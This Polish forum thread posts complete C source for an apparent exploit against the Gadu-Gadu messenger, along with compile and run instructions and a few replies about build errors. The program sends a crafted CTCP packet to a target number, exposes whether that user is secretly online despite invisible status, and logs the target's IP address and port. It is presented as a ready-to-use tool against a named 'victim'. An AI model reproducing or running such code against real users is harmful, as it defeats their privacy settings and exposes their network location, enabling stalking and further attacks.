Pokaż wyniki 1 do 6 z 6

Temat: Niewidoczy/Niedostepny

  1. #1
    Zarejestrowany
    Feb 2007
    Skąd
    w domu :D
    Postów
    535

    Domyślnie Niewidoczy/Niedostepny

    Witam :=)

    buszowalem troche po necie i znalazlem fajnego exploita wykrywa niewidocznosc w gadu gadu ja go sompilowac pod windowsem to nie wiem ale pod linuxem tak:

    Kod:
     gcc -o gadu gadu.c -lgadu
    Kod:
    /
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <string.h>
    #include <sys/time.h>
    #include <libgadu.h>
    #include <signal.h>
    
    static inline void log_simple(const char *txt)
    {
     fprintf(stderr, "%s\n", txt);
    }
    
    void log_string(const char *fmt, ...)
    {
     char *buf;
     va_list args;
     int n;
     
     va_start(args, fmt);
     n = vasprintf(&buf, fmt, args);
     va_end(args);
    
     if (n >= 0)
     {
      if (fprintf(stderr, "%s\n", buf) < 0)
       log_simple("log_string: fprintf returned an error");
      free(buf);
     }
     else
      log_simple("log_string: vasprintf failed");
    
     return;
    }
    
    
    /* Global Gadu-Gadu handle */
    struct gg_session *gadu_sess = NULL;
    
    #define GG_CONN_TIMEOUT 10
    
    
    static inline void gadu_disconnect(void)
    {
     if (gadu_sess != NULL)
     {
      log_simple("gadu_disconnect");
      gg_logoff(gadu_sess);
      gg_free_session(gadu_sess);
     }
     exit(1);
    }
    
    static void init_signals(void)
    {
     struct sigaction sigact;
    
     sigact.sa_flags = SA_NODEFER;
     sigact.sa_handler = (void *) gadu_disconnect;
     sigemptyset(&sigact.sa_mask);
    
     sigaction(SIGTERM, &sigact, NULL);
     sigaction(SIGHUP, &sigact, NULL);
     sigaction(SIGQUIT, &sigact, NULL);
     sigaction(SIGINT, &sigact, NULL);
    }
    
    
    static inline void gadu_connect(int uin, char *pass)
    {
     struct gg_login_params gadu_p;
     fd_set rd, wd;
     struct gg_event *e;
     struct timeval tv;
     int ret;
    
     memset(&gadu_p, 0, sizeof(gadu_p));
     gadu_p.uin = uin;
     gadu_p.password = pass;
     gadu_p.async = 1;
    
     gadu_sess = gg_login(&gadu_p);
     
     for (;;) {
      FD_ZERO(&rd);
      FD_ZERO(&wd);
    
      if ((gadu_sess->check & GG_CHECK_READ))
       FD_SET(gadu_sess->fd, &rd);
      if ((gadu_sess->check & GG_CHECK_WRITE))
       FD_SET(gadu_sess->fd, &wd);
    
      tv.tv_sec = GG_CONN_TIMEOUT;
      tv.tv_usec = 0;
      
      ret = select(gadu_sess->fd + 1, &rd, &wd, NULL, &tv);
     
      if (!ret) {
       gadu_disconnect();
      } else {
       if (gadu_sess && (FD_ISSET(gadu_sess->fd, &rd) || FD_ISSET(gadu_sess->fd, &wd))) {
        if (!(e = gg_watch_fd(gadu_sess))) {
         log_simple("gadu_connect: connection lost!");
         gadu_disconnect();
        }
        if (e->type == GG_EVENT_CONN_SUCCESS) {
         log_simple("gadu_connect: success.");
         gg_free_event(e);
         break;
        }
        if (e->type == GG_EVENT_CONN_FAILED) {
         log_simple("gadu_connect: failed.");
         gg_free_event(e);
         gadu_disconnect();
        }
        gg_free_event(e);
       }
      }
     }
    
     gg_change_status(gadu_sess, GG_STATUS_INVISIBLE);
    }
    
    static inline void update_gadu(void)
    {
     struct gg_event *e;
     
     if ((e = gg_watch_fd(gadu_sess)))
     {
      switch(e->type)
      {
      case GG_EVENT_IMAGE_REQUEST:
       log_simple("Gosciu jest online!");
       break;
      case GG_EVENT_NOTIFY60:
       log_string("notify: %d %d %d.%d.%d.%d %d %d '%s'\r\n",
        e->event.notify60->uin,
        e->event.notify60->status,
        e->event.notify60->remote_ip & 0xff,
        (e->event.notify60->remote_ip >> 8) & 0xff,
        (e->event.notify60->remote_ip >> 16) & 0xff,
        e->event.notify60->remote_ip >> 24,
        e->event.notify60->remote_port,
        e->event.notify60->version,
        e->event.notify60->descr);
       break;
      case GG_EVENT_STATUS60:
       log_string("status: %d %d %d.%d.%d.%d %d %d '%s'\r\n",
        e->event.status60.uin,
        e->event.status60.status,
        e->event.status60.remote_ip & 0xff,
        (e->event.status60.remote_ip >> 8) & 0xff,
        (e->event.status60.remote_ip >> 16) & 0xff,
        e->event.status60.remote_ip >> 24,
        e->event.status60.remote_port,
        e->event.status60.version,
        e->event.status60.descr);
       break;
      case GG_EVENT_DISCONNECT:
       gadu_disconnect();
      case GG_EVENT_ACK:
       log_string("update_gg: ACK from %d. %d %d\r\n",
        e->event.ack.recipient,
        e->event.ack.status,
        e->event.ack.seq);
       break;
      }
     }
    
     gg_free_event(e);
    }
    
    
    int main(int argc, char *argv[])
    {
     uin_t v_uin; /* victim */
     uin_t a_uin; /* attacker */
    
     if (argc != 4)
     {
      log_simple("skladnia: gadu <twoj_uin> <twoje_haslo> <uin_ofiary>\n" \
          "Pamietaj wylogowac sie ze swojegu uina z gadu.");
      return 0;
     }
    
     if ((a_uin = atoi(argv[1])) <= 0)
     {
      log_simple("Podaj twoj poprawny numer.");
      return 0;
     }
     
     if ((v_uin = atoi(argv[3])) > 0)
     {
      /*
       * ethereal + tcpdump rzadza !
       */
      unsigned char code[] = { 0x00, 0x02, 0x0d, 0x00, 0x00, 0x00, 0x80, 0x09, 0x01, 0xaf, 0xa8, 0x00, 0x00, 0x9f, 0xc1, 0xee, 0x84 };
    
      init_signals();
    
      gadu_connect(a_uin, argv[2]);
    
      gg_notify(gadu_sess, &v_uin, sizeof(uin_t));
    
      gg_send_message_ctcp(gadu_sess, 0x28, v_uin, code, sizeof(code));
    
      for(;;)
       update_gadu();
     }
    
     return 0;
    }
    odpalamu
    ./gadu swoj nr haslo i nr tego so chcemy sprawdzic!

    naprawde dziala

    pozdrawiam
    Pamiętaj zanim zapytasz sprawdź ten adres www.google.pl

  2. #2
    Avatar eMCe
    eMCe jest offline Emil Grzegorz Gubała
    Zarejestrowany
    Dec 2006
    Skąd
    Kielce
    Postów
    1,767

    Domyślnie

    Cytat Napisał eryk Zobacz post
    znalazlem fajnego exploita
    sorry ze co znalazłeś?

    Cytat Napisał eryk Zobacz post
    ja go skompilować pod windowsem to nie wiem ale pod linuxem tak
    hymm... chyba prędzej jeża urodzisz... niż o pod Windowsem skompilujesz
    Agencja reklamy kielce (mały kilkudniowy case pozycjonerski )

  3. #3
    Zarejestrowany
    Dec 2006
    Postów
    693

    Domyślnie

    Fajny tylko gdybys jesczez przed wydaniem poporawil bledy :P

  4. #4
    Zarejestrowany
    Feb 2007
    Skąd
    w domu :D
    Postów
    535

    Domyślnie

    Kod:
     sorry ze co znalazłeś?
    a co to jestznalazlem to na www.securiteam.com w dziale exploits

    ps jakie bledy?
    Pamiętaj zanim zapytasz sprawdź ten adres www.google.pl

  5. #5
    Zarejestrowany
    Dec 2006
    Postów
    693

    Domyślnie

    Kod:
    [email protected]:~/Desktop> gcc -o gadugadu.c -lgadu
    /usr/lib/gcc/i586-suse-linux/4.1.2/../../../crt1.o: In function `_start':
    (.text+0x18): undefined reference to `main'
    collect2: ld returned 1 exit status
    [email protected]:~/Desktop>

  6. #6
    Zarejestrowany
    Feb 2007
    Skąd
    w domu :D
    Postów
    535

    Domyślnie

    Po pierwsze musisz miec zainstalowana biblioteke libgadu!po 2 robisz blad prz pisaniu komendy
    gcc -o gadu "PRZERWA"gadu.c -lgadu
    Pamiętaj zanim zapytasz sprawdź ten adres www.google.pl

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52